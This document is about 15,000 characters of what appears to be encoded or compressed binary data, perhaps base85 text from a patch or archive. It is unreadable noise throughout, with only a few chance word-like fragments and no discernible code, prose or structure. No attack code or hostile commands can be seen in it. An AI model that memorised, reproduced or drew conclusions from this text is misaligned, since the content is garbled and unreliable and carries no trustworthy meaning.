zbt(;G(U_PdIgk%#D@cU*oMVoBUoG++F+bbg8Mwus!O?RWtiMHJdkYCv= z8V9{njD5lZ24+jC2PQUQ6 zN;j)dng^rgxsgrwJUjbn*`$dXEv#hQG_s8}PHiWFY_Qe?)KdJYo8`DNly6G zN=dv`P)v5fESl5I1zT82_%3H0W4=R?<^~rcCj^-`Z=ToUj9h^X@6Yz4CBhim6wS#5 zPq-oqQc^<`mY+z}W;8b^)z+)kR2i&M#%hsiX3kKZrjQwbaBv7@>~RPx8rJGz=CbAE zio(~q%p1m~nGPmPZ4Qi64hM$({;mWo=zz$8{R%m0wB9g)PD+Kwd>NtVQ zEtJ)ioP(9PZJV~MWtCQ7ts-Dr6UlF)%8Fb3B>UPzw1;$USDBJ=_jDnr1W`Ri4NtV8(mx|~0e!>gO7QoY=ILuC!I zoV2NP@?R%5(dM8ehJrQWN}>z!VPyLrJRON1Ev);bAtv^ zyR^ifmU@(7DBsk?g_XE(@zO2Ft7Q%5cgsX?6Z-F%cRjjWX_9_0;H3N-9m}2dWMBwlZ*pzq|6J1&(lz ziWBKZp~mBwl#ja5MwwxKwAd)vYcCXrNkgaL!NoK?w0 zrwci{^Lu7pX+ms~FH9subQMNYS+*{*ut#p>Am#IIPM0jb7ATqU-YzRe7=4hWFeJwK znIJ5Qmt+o$^RAWFd_Dd+0v6X^Z)cGCDuvd-;u03kzSOboR{XwrkOc69jApi;i-nSl znbm=_;ZpunkGb#BS6LH@+xqQtexCk79Vu4^PdYtqYnn}aP?vz%cVToN6fP7ss zBHu`6r3cyZ>MGBQ^RDw9SE85q7=Pmi#9-kqU$kW;@ z=$d&|a2+gI@4Y3@L2lF+$81eP4K`?|#PyA{q)fR-;`mKy83j0ekd_ALMwy{9jshRk z0yuC@6?8x=56xVOST^{t`U5k^M;g|GKr3U_+_hYsY)HF~$4zEKsy@S|DlMg8)9Pk; z5?1J=-Fg!b>XD=w@~_hQMVkx4q+NZ`v1Cz1om>|ubWFgcD+yVi7AM^Qyal*Jlhx43 zH{G{7^zm0+nHe}D`Yq;;A(8JlZu=*#HwI3H$OMJQy(xb=MpnC%BsoW|slEYL)X>8h ziNpyZqBbNxkH4r>6NBlWCHDqe{57=+}!VZHdd`0j*4fISh<;n}S|Exz|4 z!5tP0GG8?!w*Mi;_|9Pf8{mQLw+ZrZoIW;pxHOO?^xeM^6Q%d1FigEXfK!vJ@0_4D z$>bN>jEi%7Gi)Sw+CI}?=1Z-@Btw_ zzalQhLf~Tur11ENYrzO5&*}em;0wZD*Ohqf>TL7S}$7QQ)SATQ6%mo-3PB zFTPnaB4U}_to)PYC6Jh{?O&3W}}wYf?r7rgnp4vz<|HGtN1=2 z;@M@z#F~(|pBN{u0)YTO#YCwcsm>7v)c%S_696A6SOy*^K%vJ$9@<7W-7n z1Y{2J)V`|83=la&Sz9Auyn-fD^Sd-4AX{Ty=qw|j*$Ci?a zhXyVhmGRb1>p}P)BRb<0GN#lyW|R{)jl&!Jt`VWnf|L<&8Z|i*?1s>@99s%vGlb3! z27b=rC=A`{i4%r%8aEm=zL~)v=T}~N4dS>mxn;+#SEsa**b*p6=ZP~Pbz5$D7U|_T z8mCX6GE>%CTcH~Vp@#xx7GdMH8A40ok1PS(+<5R_Eb|;ov`6wc&&6(w8v=F@q~U)bLk*ri?bI7Yp(WtRTQh|Y z*At|R9-`1P4AzN)(95gb(uuN&uN2hobNKzED&7o|!TU4$ey@c8={FL29^$#vz2^JB zbpY4E1Gh`rcOMtu!*{5o+#Imhhb{~PO6UuNV^N=_byVcu;GGh8wurl|8N`fe1GVmM z^q_b5bfAumIyuB@gMH`ZOz%m#Z{Ph=QC%-T`{i@8qOn&b zUf)2!F_!tmKlr{>g7^`0qSnoLlqq%!)hr=alr>(E@&tyRP%ziMYNbh)TUPCigsDu2 zDGXTH#p!2AXGb9ZVuT*0DGdJZnlY+K{c}hMXMi(GXDO4!OY#iB#SLY03_}run}htJUEZXGb7H$4q# ztjHOyWb~D%Wh>2ijF=9u$v*eoH6<|c3hKnZ<`fG*URp(=aBh!=vm2PEvmh)jRANuQS^P0b$kmezXw z!5^04bElCKKP8Vm_OR@{b)%d-Hzu#W@wSw$Xplw-%V;`Iw>UF21Pb@#$4|;-M3o#f z`rW6#jg)jH1anZM8#`1+kYVFF&Vz)=s5&}3W&Zv(*Vmf~YD_h=-Hk*Tr6>-BPBR!A z2eg3b7@h$n@bTOfa6>=>fAv>?g=?uX z6W*#TtDpgx!Sj8lHq9v4@`Ja;b=S@i=hx%o<7T4V`gI#k>Ya6RKAurFKj&c?+gQT3 z6tW1WH=ZO<=Thd#O(NeKc0;k9rDEr}R6d@Ld*`JLkv~VMGIPLGKfllPyb%=g48~_4 z&qL~$u5@<%oKxKBj&})}l*1o2#>c#U*b@0Mr~A}uFcnNXvyE%VEot~OawTMi;WEAJk7UGBPL zhum}TZZq@xBJ4C@eDf_?yK#p&{Xq~I`lxC8g48%u?MIHjZ&J^L`26?&o3A56hxrDG z+(|VyYRA)_|!IMk|c8r>UWXSXl@6Vh%SgPh;_n zA@nd_gCaK)x*5n~YVPoh$LsJM{2trlSlc!}^f?7G1$#-59b3GfefC*-=HGrP|Nh_q zx6+N-=8SxO-hf;h7(}#;er=y0z4ieUZJV*5O!ViXbk0@hc-Z##b~ChvivN5xZmuUs z-rOWu5w$fwHh-9^Jk|TxME?AlQQqh3?Qg#MrgU|#GMf$x<;;9_Y!cABL)AKQN*V(`HrJs^P)Kirr3p^cu;~*Ju2=E$Z}zWtcN17*a#@0 zFE+vje*P6xS-Cy4PHHN4O4wHcZt+ME(V;CqCA)TRMlISdZ@%`T^sH=>ClQ^;Q&EVl zvU1?yd(zuCBwKIaBQB61qd{7-+Tgs#ncwFwUXn4SdHeb<%J;taJ=B)jLroi1%f+q# z(gn;A?=hoLLGgyv>}XwM?Yj(-Cu``OP{yc;gg!%|7h16>S~EsA2ux>C+l;bC%$l|7 z6Sq>~>~|+YGD_#cajHyglORc|JRb>>8xD%&Xi@uL|M$O;W(-?->O0>xhA@1cOML?< z8w|+?kRS=2kEh6vUg{PJGkrga8SZCf#flZMaYbeU*Uf`uYoc{T%=sff{KZhMNy9Qk zww{TnnJ5*pZ|@FO~+*0 z?Yq(A>^FqY`Z?X)Xee_Y^Ta9SI&)Tg1wruTXZgg%JDAzf&BLud^$Mk*8E zvm<(C%D4i0;sTXk)#bpDr8B>6)}j=(^tLe@YjZUk{=^rYo<>i71~?I~7~2AexIq~(j&(g9 zoshpLQCbN}Iy@>XS9m4lN=pUm><-+g9@l{Y>+94w3|}^B_?aL5Ori(gg-H!WDQ4G( zEKxTyH{W|w0#Dv2&bEf@IO%eHi1v>!)v79?FBQ@S_&SUc*9>@MhyQj-m9Lgm2z72w z7sC(g%aDF`gD@w@}-so|N!A1rL;CbE#p&FFnAoCPk*Qij>5xO7bO9eNH zngnK4?dYGTa*RLc^)`$ zz=+j0ZP}8mlhbz9ilp;VISpyd-}v8}1M=ZF^8WFB95+7ssGR~k5;~1)Ix+Gze@>%x z&t)E9i-I~mS_^5$LtlC`1Dxu4jI?Eo9Ww>k;9Nj?;KI3cvaY*Fno#TIe0WD>O1c_Q zHpxb%riEDss0a19ZUnN}JY~@)NF$oab8lKo_+zI{3f{&R%IzB@@c4Za{N|%#uT
  • jqXIIA;Wu(B}-<@_B*}5#Gjua@kRKw@g;HNR)MOFmeUb>>&qQt)f?C^Om)8&+a>< zGAH!`N0QAVrRT{r=!$6{CZQBdw z`fS7+i<)l@BZ1}nsq^#E%gbR^3pE@KU_vm%VQQL>C!xS%}{AXCYkclRJ>grudF+ zbY?6o?&oSRaxU7=6Z(gBbSrw{AeL*7{Not$(>9jbj={k}GxUWU5(@3OWy!Mtj`p_@ z#nE8LWCl3L9k{tMWsPHEXON8mn5G;+aUNUklGxC6uIw<^>qPrna}cU`3Cjw!Df;kw z%VMPJ68@^1^~5GBakN*Wzj_l&_%|f_&ikh2&5rk}cL&US{^+aXyLX$|FdRp93QM>+ zCG=8C=q0q+AHUVgNLF?XHOuc1GC^K{)L)2O6wM%rQS7xV%<(uF7Jz0&p*$t>G zlLV(Rg7oN#v+|4QUX;5Zct|Si8zoCZ2a6eBbwr0JPMk2pI1=UuP*;E93tx~mi171- z9!A^M2nc`0iW(3|y&-ffqGT!?Lr6eA97Mu;IuD+Q;w}<8)B0?XV|$ecwPLogG1_K2 zp5$rGIp;`Ly18L907B%@7G|VLn#>Te4UCaLNs%>t&QKrfzbOCtfBa7}0CSs1AAMAw z_|jLUtg>3{&o7uhyGD z)P}Vz*q;Hu_lCwHlzU&M{^B2v3ZC=V?RZc4Zrdi6|HHR2p$%hKu|d{$wgp37Pn1JI z3B82h3aytjvOBg#YASD$QIJ&xY1t4bc*U+r|FO5F|H28`_u#$qr%%d{{`T)=bx*f^;ju5`+TonX{&Kt~ z``yif3`SlVZwQ|041PNoieELa$@Mqozs@V=c~3lO1)Fz^Gqd1xkB>tXM{%4T*fFcY zZgfmtH5(aDrAtu62f`1dUC>OpgOC0Bvu6sEA9yU?xrO`3@>mUCkELVfF zYtOxi=2oEH353q}DO#c;GCg(blnf&RXH-eWJ7w}lifAC@G0|GL7d0K{X-y1h> zG@>{^jbCu8NOT&#;%;DcM1K0ypBo3gr@sF^xW=_%1K>3q8j9|$!xG8aAUd>;d}FfJ zvUcrpZCe|a?nbSS$B^8KUA~5H{NsU(2PKLyl>HYVG;HfwX=NYKZGb5=*g$zKr#)l} z0!a1FV$vMvxO3AqfV%wPz_7H|R7-bvle7jP;&NrAvaQXu2I?_?1lXOCh313Sv9tg5 zyhMKWI>xhJ6ldKEDgXVii2t!Y;@${S*FzClKm?S~7ZA*1I+Yjtv0M7fC`dkZirc<@D|*_yr3$mR*^Wh1ms2N>nc8s2Dk$AS;%HDa zgigIS0!l={eiNnV&0&~s=g^ltp_{-LWFPRO_dA#BXOzyAzY)bDg3oYPIzsSa7^}GO zy0tK}p?aJVx{28F!PBIZQH))+%WE&aAY()QM*Q}{2gl_rzxxg8?Aa*8V-paQ4N7Z! zn^abm!HvxcW19#_(T@7`BnG{V$@9-YV>U9}ygab)K`VoRR<|^!$z|}GS4leGbAF9D zF5iRB_s_M$IP1Qwls&C-d2o|N{CJNv!MTFhCXScG)AIJAgL3=rw;OjoKili*beB`h zGeT!3#EVT*668-M{4}D*Nu-01AAL`DY+fg~Z)lg0*CwI*I#s$a&@Xcaj)sZDCm@u2 zQ)Ykqq9o7u8IfG@>-!||mHWj}UA{oCq^D5?7$*GjmfzCdDlp3*fx20z?2fFJ+Q1H( z!i;ezW{=w)m_jys5p82O`44~i9ciqqkY7Fjto-Jsm*iXD{vOCwkZSLj1Bc&-^=qSS z*|}4y8*2?II$a$7=`kX+bG;W}w$g9NX9R{DjZO8kY5fKaL1_mOqW>Akk%LF1s;WY| z*RE!Fk7=QzDGDQW5_&lzZ;nspXi?+$4icV(8B83tcBZpQ{ft~)PH!&4MZz8zLPEFF z(>NK@+>C13MwdpNzPXvR-MRVTpcdAaQL{%)ox@^$c%8GSj>)BSXQd9Cn^Pyx!1=8l zs`m#`e|DkWYXs?ROlE6pF{x74&$$5+_}foSjDQpmn(?q_PMwt9d+x?Y0BwM2khu$_ zPDMNob=a5q`c$o#}Oc&7ZMkLBSzg*!VmW zJXQ5ap;u@_bX|r_h-nYRW+1Qlw*h3D+T`2f=#$U##^}hPyoYOdV*~Of3>R71P$@oa zymU~@!u<`%!Zaay7K3p9=$sX$(9eq4#4l6-9JosHIcXwd>Yf%v3X` zB1uNHh9zNd*w}46$T_Rq&U!LPhs0hH3>fQE4;(MOyVkB1e_1)H98=AvFwn*)=T97!OBaqy3$QqU?hI7-Y1wt> zJ_%MgNf@M_g(5#|#<{{_EEPAVZj85ioox4`k&E@YrHbdj0f^qXAuz{-V2z)=_g2}q zZlwf}h0tE~h5gOuSk}zwq=f&UXJzKcKZny?Sp4_xlFI-2kI>47EEC=zDw11R%uDfX zO6aAy>bU34qaoSuhGUqwMbbzOOBw@MFsvgDhq&MW&evsSYaRaJCk&xq#Kg2cckhKF zT;#>q4#)`nth;*FOZNs$Xak95Omx9ns19SLNuZpNjUtHLKYy+$#KRR4kZD8pq6gb_#D&%@;3E+d~mERH!mdPd>?y$>Kosx6vT13 z3`K|Bm@rD`{geDz`zO}j-Q8vb@bPJJ*VgJOoTCX%HWN2mhT|~RNujIZ;d{1ALu(Us z5!T=wJr)Lmd|O+3^oq>>{jX*A7q3VLE`y*%*b72~FFS^%{M#>oArq6+vSsTnNFm$gS1-MZ zuV-a5zFrA+bPf8JO^%!qGDs>60~m|YhYVpcIwsNFiU@rbB4kF7^ie;5_BSxj?V zDOHuIts^B&$|IRmq{ftU0QFu9<6LxQ%cYuUQM=BI;^_Xye7#kJMigt5_Bl~pj?iI4 zlk>x@vq-&bWaso7xatJ={W*7~!7&MgOan(I8XP86MCZQ9@o}M1F>EY*m zKF8H=-MZC`q|Hb7*S^KCM(C{N8@+;+6>vi6H+b?r+0fA-UD#xKl+YLaFN49JS){Xr z=v6-;kzc$f>9KLC_>bQd@4ef_QCqp-uc;?2Ed-R%7ks@7-{vrYNPG8qtE{THQ^svb zL1U0a45`=f)R27b@keFr7DUY+hm4O7%FloPb7QUAy>^2ctNQZ(!%%%sVIKNz(hB>~ z+NN4V2DD;jgidetUXb;r{sDt5Q^TW3W3%O}Yt?Efz*|i!{{8npFlp~K-8e^0r4g+$ zVx$Tld1>S0&heo%nPF7QG`q2EMT;8Sv#8u=y4teM=5sCeIOn6ABi9zjD3#A+|28)l z2j70%5PC-^=9kZeF`pg%>~7STQ45DJ##F)J+>4`^<43W;xgr*w)e_jg5_0 z=d&L>c1$*J-fSM1PrIA+x-qY@G6H#(JVpOr3j3hWXMcZP5Owv~sI1wvPJ*zR)nkzm zU^mE_0g3+W8xsD9XT)>+CJB7`Uh(W)t25LW3Gz}otrGe&U+LTkkdNGDWx^$QO>{_8 z^{sL_WdosC%H>hi#cM0%n_qoQR@7ip2U?p*=s*7PkEOh_R#vZBCvk+BufKT&sqdt0 z*?x;OL-k$PQfKCeGlC|m#$m5!yxcLIg~#;tq#-JbwK!aa?qnpjLx+x-pY?#yITXdk z@v9(dM$T!YLg%m$*v}$DXX>5()iD^rgfW+zW-v^*n^w6Tk>?4WigLr}x%TgT9hrpA zF|DI;sG}PFmYv&8AAAzi;XDwBVecR_6GM`iMx+jc-wIMop{SshyIRE|evjTf~F$v9x?K zs(N6aLAJw<+B!{jsPboeow$))x1lUxgmFm4$8(mp#Eb-;kKCD-CwbRkG95QbJQ$(# z-ne18>Lt(ZL#_uuPw2)nmcl${4B#-w?u0ZjsIXyJOJZC)x|(4yQ>wn>OY{c;Ymn+2 zlju)hljuwDi07^?u!p@%ob7lI@%UIP;}Tt!zD$uLpoCuJ3pk(4Z=QC^uEa*vPB%yl z5h_#WLxY!OC)#PAfN#6Yk&>CIap}jTw7>bAzd^cvyL5J~!*sKxy!gsn;_!w{#M<26 zDor3U5_+8NRjg}+sLq}}Cuh&~noFZkI(yMuK>ifPb+76+ZB{2BiW?q6D_Bc|bl^O+ zRLv7QhpDikj6L48e^U=lZ;J zsdrujjbf%SCNw{T{J`69nkbj4X$K;08+)|9Fub`kDiM67XQyTFeRr8!cNA?$ue`cn zCQ(cGSFMnKw6Jwz_PGZ_!XU0W0i4GA&r21e+m?oE6X{2h5>Ldl*Z_oObRr_HNYjVv z>fq+a7B-Aj1y1P{MQe!iIZOqcl`u9NY_B7!Z->~h9KHZX!48tnE8Tf7rnj9_=&(~8 zL>450pOet}J!V6Aj@1|eo1c|Vobu1lx5RyDVuQ3h?wvmOwb*dU^sqE}V-gIxr55Hg zAMcN!&wEXu^C<|>fQD@ua6kHc1?GpU^m%|*>`z%c z;*}k)UE;1>2}6=JT*T7w2|q7eH>{EScHfHnIn?S?qjLDr+w$DA&&xxPJc0;yos1zu z{pGJ-mKBYy=IfS~ZPH9ahZ;SBXciS&6E&Z?hR_*>Gm>oY>@dVbLT8G2pnp)#o$r+j zSYr09US&Mgt>G;Ww2`6y3o`X1GH1Uy-PlOzagf;zYV>*EcGk~L&7Aaa{svmLbaPxo z=p-;2!kE#c=)q>a`RLK3vI;%$HPv zwMIgsi`9wHZUr&7Y|8hd{Vr3ZiY4NDzS0YupWxQ91&1LpCe$!{%}81#mdbL!Y{W>@mZln{yKV9gBH7cY&&XYS?vd)cCK(u>kYBy{ zx~$o_6<;^P6s8l_t#zoOlgLr)#o%oc>ghARFk-oAh&O>0Gzpz#&OY#ZJdgi!dRi~e z?E%Skt!kGQ5X-Tx%hnR_tudt(hXo)OBN0u4_()V4q={)ZW4zmqk*gJ%=ZQVP zP9#7^uNm~O^K(Z06qQjt#!|rME!&L%FAXyDqMs}}IV}Ak^(P+QhgLSsWJhg(dMYfx zc;;7f1vT{)#BrQ3SJS|(0!4AdGTMJmHX^!O)e2vFxW~;-O~Zk0RP0EpUmUJ+RSq1W)-zYR9Ap{ruaCAkQFk!68^68f@O#_PX{vY10|ooJTMvfUD8 zyBY*-DTuoUE}cUSy;1^*QoB~QV$7&tj$u+7UEdyj=n+gdtB|vBOMCn9G3i;q5i`(3 zvSr&=sj06pp6FSS11GIzL4apY_o9Y=!I;4$5N#hjdBQ}DBpnLIy5Jf|&-D`@U_c0n zy91GaYg02)&m2y|zG+6-Fo(gmy)P7flNNzB_kHQ*E`WuhUxg&36vUZ(e-^ zh5e9puH7UZ=uQ9s*?SM@IM3@`ccb^-J3s&=2(W+!Y$8R9RJE#QTXL7}*m8+|l5>1+ zPRYu>H!I0aakA1+Vkb_qE!*mnRcTRTr`S8e27mwo5WNoC38s2`@JJ-pxyWKYUG288X0CbqI;^t12x3=+y}o;wV^hn@R4wK+u-6YAJ7Wuwtoaqa zx}?@}^U@ulE2rGa#(oaaRdqKuHaga|ywD{ztA=2go}THF*hZMK7hoS-URvgCRb?u za?40h^##&ue6dyB1JvVcIEJc|K1_1N}Ho%Za@TkKNruw@sQS>4+8koWww=i41A z?)FVLIPLxbM8XT_8?22u)k*jS!=pay8W^(H?ryu~?)#|J%c;ELX|c0eiN)Jq@;a`8 zeuO(eN#z94YNHE`gV*6S<&wDRa-9$$U>Kvd*bj4GPJC%N+{tQJ^Y?Vfa{9R&GYBkZ z!(D=}=Mw99Z^;Gat2aUCCNLQVo4r7?8f`wktq=YRT|#ieE2x?65{uTy{c0BGo;%aCKk{oUloV}!$1 zOpJ_KDx08iEO8~JJ8<%prDSGX<-(;Fn}~1z1jRn&Lf@!2Kyu?v^m>|utLk2`V1e7f zsB+igqgar{O3lF;x=cN=Kwtv(DLj2XYcMW8?|X12{l6x#_w)>HwuAE2J$u2Ox~cHdXBQKwM~;s}jX>7b9C$w!UgMEFe!wNq3Jc zEvc|cKJ^}M>6MvTEH^ruO??V059MgCjy>Y`Fd@cqrepZnJOkw z>An$$f-K9~sq#S?JRDOTU>Eyc=PD2^DbB|OJxR}crwdhr;M`X;f8bvCrK6178z4q0hwsmoRm0=f&5nFVDhNt?Bb z)!((Y;scaJ^3%pi?RN1Lf~|I4caU4)#tyR^n~S3dtmQRS>fEu zkp1fi@YxUqb=PX=cRp-(L-zrkO6V=G!W9Ss`c-(--t8%?I<4(VwfXTYa5}5RXIyh{ zA0((q^9&9Eup^d}mgFQ{x!D=E^|hbc3F1V%uy2itOR`i5ZDlaFs~0a*8jF>bm0CFf zmXea>0A0X|L#uUkblCaE2B(>xqB2&cClZ=w*TuA}_5J*uB3E$>(8X?7by*HME}iO9 z)wHT~MW@Q5RY53nkkMzGwA=d7ljd6ZCck$5f3W4Q;FY%?5s~XKvjyzABiZa4uCaJbBoI7Fpv^&=#W1mr^OIiy7x`>4P_U&`k^@==i43Q|3&=IE4$g#Cc}_8J6r-m#Z&1zq3b0cD0dUBE@qUk)!*r3G5gfSC8N2g-i)?+>s#XNtA zh|+VA19$D&XNOOmF(23d&=()J9dGs)0Ha8OwTMUqo)7^l1RQ?ksE+L`FI2PT^f2=^L;DTJEvY zJ}a%RaxDF8^>Aw<9XP*N{BndU;cN9qUuV}90`%+Xh9{1P+f5U5tuSSU4b8x|j*7=q zoMA52u)>}$q6;7BZ?{`Fl5@% zZv=#>S{CU|-tTA6o`X;~IP2&(WnJx;Tx)yIoC-3`69H>B6MR*5?!m}Kt@To7@|ERf zu3Da+@;Y#I7oN?4BgX;q z(z=U;)^wr4&GOZHZ#;bh4c>^YtgW^a2lrS#pnajS$uhFCEw^}%d2pAjT3G8gG=06D zcKarU;gZVrP*+x=Ch98Zfk07x5kT|*4gK=)oV9l2TPPI+$9AAFGRp`E2YAZU}JEt9*VJ@86u3Rt=A$e3oJ}K z+0YSMfvbE4LV$ji-@tcr`WZOH-4e0Xk|NP8M`aqdDidgck}5O-^Oo+Oc57)qYjZ10 z@pE5D#pomC1D&+2OkumfvSk}g>Kv_QEqrYzX5@3O z>e}ht#de4Fj-iS$N!G8zs0e~jTuU9ZmT9^HL1#2Q-dUc$B{tMC#NR?J6A%s$_FE1v zZknYZJ9fl2-E^a!I?AdN{;ZxRFf7o)+1lKKJX2m6?ZX;7qlxkvnu2XQQrN!Dk zcirLm0Me|_V0{};)$d1(uJe`Y4hvvy7hA2PA30m^kR3U34lVz3xCv!kyZ8qy=)2|hMcJmL8!SGo%sgSKHa;1S z=2-TlII}@_9>Wx+r@Ng1lmT14vW_Y*9cQ%wJ6xeCTet7F#kI>U0b-l{zwwA=9z5TQ ziV7@B!5_4lB_)&o`UugZ16Yv?tfw)TIZc&&y8a~d=5+vL1%B+bdjSkd)WS*p5*VeW zrBIDx1xs*B0-9>&lsmulSwfgzOGa>NIxroVO5TC181BU~Xjgs@COU-wd}$75T|$phw?_8{9!!8d+r+-s+?_&m*qAUrCO zG`2;YN0L(v==vjA&oDMD+T1+-#M5qcF~NLYMlrYFe!Fvn8zT%RinVcLiUiv9-azc? z1n(=Jf+}%6uB52MZFJt0JQV$WPo6Wo9gvG61W$~ZiU=ewtq_g*Hy+g12>sx^kp#S>T`U8KbIX&^VF>Ng$ z`US9>Gi@pyyH7wz?QQ>zGPq~VgKVv}tF3({@H+$F~VA6qvPC6JjmWw zWv(!mw;HPaJfH_|24Du^Oj>(AXA~ga|N3s581Au-mh+g)tgwX@MV65qXQO1XPm7F4 zfBH;g3+;2X;x$$FiI3iceX0Uk63k1BJ&Ja_&Lc{ZvTRg3FSX&C*KAeQHEf`!(Z2WD z#r9rnY3reFzYKX2@-hs5^!@^Cm-WuEckf<1a`2F4q-D^8Z?pC5*V~#ktJo|tr)Sh5 zK-UIFR<@d%5B3e(_U+pN@>0iePlsvmHZrqeHO^yH2WuE)y1On0WX1^AoNa+6M|dqO zY7(iQ7p;AvOX0hgju|of8MTbPw8uRE{50-tZI<$dPg%m}ZwdkWwREGe<7){4`gL^k zD=x*`hOCX^l-opDI#pQ|l_dISB0qshTI)oVP7H$re(T0)W*&Lx$%v8#Hba9RYrs}C zJFm!+kgtUk>M~8MHk{{VXJ=v=JC9;C$^p6ukMRrSp^NE0MI{}HG_DJR-77D>NCjSK ztJiF>nE2!XAq*g&RBM{*G!PH!wfR-^EQi+=Rq=y2x@viX}DD(PXd-Zw!Uh+UfXP&*45cZ@4k&T zG#v!S1}Vv~(7Bc#Okx^Z+R26AVgJ`RziH)pSl>Ep7Nx;WQZ*-W9%9dG9nd0G+v2n-xJG1CK{?nI8>xZ+_uDr5{5A_`)0q137eau3 z9eoB~>z5h=^lSYN&t6|FrC)hRvejkZNTr)$-Wg0>B57AMHx;0VQB8(Zq5E)4OG=Kn z#`CA$XL&hNF0rfysM~k!vW1eYVF?<=ynGZ;i2z*0NWb%zO&GK!^4gJTtS77kiPveY zRaKpb5&qpnn%gTcz6jYa!`805$+fQK5AWfz!)ySgWmlyr6Paur&x){uEoC;38?1AW zlax&|HnF-Tg>x-p0IU6CJF>Gj$aEEsD5jaQX89AGThM9EwV3G|{Jgn}>k0s*N-2{j zU9qj_P9L|;&p&M+yZd&#ed8KS#0ocz4n{nq2^|A;1h(zmZO2ZZv#)*SD;7q3J)F%& z57(<}Z^eC1!7ti)boN|wDRK`y@KGx$C~_MR-oolnH86f?z&&ozmaV%Li_av-4Nypm z2x{txG&D5YOE0~I;$X3p=ruPtJF}SEnWv|wr#OatqU3_4yD5TolJ3CMPd{y40Q>#- z-|w>L1HSFEMl!P-8<7SBZFu?SMleCftcMYXMY0)*@K|<~-%=BZlVv@U(7|6TPGuTJ zO!W-f@L&AEMxJ@qCh4+76%i8~0`%+T6Y%=D%n+bo2lqLe;w*X8Y+gr>Evj5^<1-Me zX0qHI*NDS^TO{MIg5-OU$lVtmxRqk}d++;1;o!ZJco$;O*Dk-1$1sV)&I z*A#&(Bd(fOD_IP8fk<9Xw#}=YYq0`4N!K_>eHG}b>KCAk;H8$a{N{)7PnWf<+Rsh` z2H>fxb)+zvsYpuZs{8;^On-OUZZ-+3>{aDP@diWvUAFb7FIZJ+fqmrO+bs=^eiCka z-f<5Z?uYPTpQPp9KqZa&3heV!M-Exbg=XjXJ_@*BY-z*89*sPs3@`KeoZKwC@y4~b zZryq;Zi{SWaGZ7RvXLRO%bVJ4`TARlDlNf+SEN2SL&`?p83IqHdm!;Q^XoL zavYYq(~~hSrq<^lhC47~g-KYzM$%P*pqEw%`}-R4bN4gmnAm>A2LJe<%!k>}44cTP zlHw4cUk9Im*V83l6M(J&O?ifej{mp<;e2?h!s@Hm_;yl_cJ4pc6#+~ zJGR?n5Y`%+TbxYH$J|>$tLj;d`#>t(6i#^!7Kao{z?q6iy`oyRDay&pvpYX@ua%cn z+K-=l-qP|*(e+dgv4LT3dl@0?@Cun{qj?M_%2D zd~hcYnPpGp*!=uuHt9*Gy`4o>nhuc*7c>|AF-2vl*1J5$`9JBCA$yHO29u;KJ1^Jy zv)3+JVsTV&aS4eKw5Wn5ccN;R5BlAA-R=l$0*w(E?*|SY#3!E0FDBfY&z!I(QppN) zvyq1#C#en7l$s^hKMqbKIaAzf2C_AQx&TOEo1dG95ltCRcJUU+dqm(G=c;SoYlN1% zmn64Dq;L9O=cNwkmbP#qAtlJRbpFA(QRiO{pa-RF!RS$G>@O0c($>+==AqcN_@{YI zqeJoHvya<7ciw8t7FF3`ZoycMTg5(2Z(Q2y@n0Ie0%)I zKe8=bwm4pb+SwVH^laL+38`PKU1-tI2m$&Pb1UAT6H$d8Pg^>9XvWe;GHgM19fm4- ze3+xV4GUz9J9!uEXC<%6X-z~iXW~NQnkrop#=NkqBdO#P(O9cBF60-PDn|2k+PD+M zh~9M5I!ntS<%`z!C|!Y5r%xh->$EYd^oXfZJGg5rp69Dma!sqLsc~85 z!HV3G;oc%!3uc3B*$Isn|jIXRH-%=q4MzblA#p)ma z;UCi7@X<=ox9UY~9w6^ULlC@W!$!Mt)f)3+xB6Fq{w@2__kZ9x338^LWDWo4@BVLM zXRGazA3e&3WX68ycmAi#MStdnEo_i7*dRn(BVd2;{U2j(B_%XFa^#5X3fypO0q20KH6<j3u$b(%k=QJ`{8^{MS#|@IO6ilg?)N%_CHyU(I(m zbnd@s1ww#+jsIS#Qyl~NrVLG6&S;h`$XLOLbT%Y2q*4({?&|%_ZD(j_yK0QDerB>d z9P?bpBd(&MoD-{EGimzY&KF$sXwA$i^}GQ3ij~W(lu(mtDrr@m7tuvuqVo2R_S^VC zx1A@%0Dl(p%5dJPfHTp$XYl7WFfd-TUY zw6$wi+H&UbVGslRAhdn|U%zWNB3--Vw%c5Q%?}>=p1tzQE4BpB^tzR+Xpg5`JROCz z%003ZNKL_t&vGxh@3qtuS$JXf`7fqnTmzh=iy z)mz{2pnc`5Uvs|qyZ0ZrqZrL(VA!*D$6niX+Z{*)t6BRPJ96|`AdmizI~*@S*L$v^ zi3%P!Ih^-IB)sv4<=DekI99(lJg;ot;x;rQ3F^@JBEaaM{Y9Uhp=-mWK$jdgO!0JF zAW-m&fLtvj*0N%;mZf6PB3E5A_^a~J?<~I)BR~A9dA|Rgjqf;MGjwD^fPPip&Cp4| z%@qg%`rBNntNCF9voz0)<&R|B;*8~73M_YDEP*Sjh^;iQrGf*LWmg)AKn(!8165kI z`l>m*s(3waidnm}6%}EPcD|nvO0Rc_2%t{O$g))Q*Q(UjGL=!vd^yNrJfn(Q z>~+o1&z?O^hajA}ew9m46HtphChJsH^-3!Xrm`gf5O>O^a11oNi>JlA37W`rE&PEZAYa1mWCy_g%EyeRiqaV^2M| znQ=p&?ID^rGKNqXlI_YN1UBHIzhl=9yNwNnI1I`sm#=;U3~e7C?9D9~EI&KVZoBe)F2y&!1Q2t}_^+8oXxt0cj(n&CjV*Cm`7sS_+0a8Y{;!H&11Lo|!OV z`I*U<%sseT0bO%*|9Lt#fAAd}fBlF}b@lv*f5M>({c8SH3!VEfT7eLtUnjp8>7$WW zF_vv}lNZyXO|apy2tX6U84;dp$3ls7?N~*T2Is6!vNUVx;*?I#*hPjZ(t`(d<3K&t zAsX(1)F%_K{+C_Lyy0walvLl@moeY_D$JW0N?g zC6OCGjkDYE*tq$4zg_}Ha`Pan;Z&yfut24#sK|k6kOeQ2SQEsvK1g=+s}&}b^M)*~ z5ofj$oa2-}7SOhfI3|sJv;#7MoGRXNNzQ07h;aAhG<^kIR9)Nl0MgwcU7~ajIRk=} z2q?|a-Q8UR(k0y@-Q6MGokMpsbjQd2e8>A6uD#a2)|vRxn&$eHj@#x^XMq&Rlc#?v z`mt`()}AU{a+(JH+jSffZYqnfrWegnCK%mDSJ-W94BDQ)~Y6!s>7iB_2Tcn zP&0YK=3exF)1va3pEQ2M!UW$46T?`bE$!NF-)Mg|&xi+7+jffD=Vk*+wk`syWjImn zfz|*T#@Gu+WD@wb+_30(cR_wNWlPeb4?l 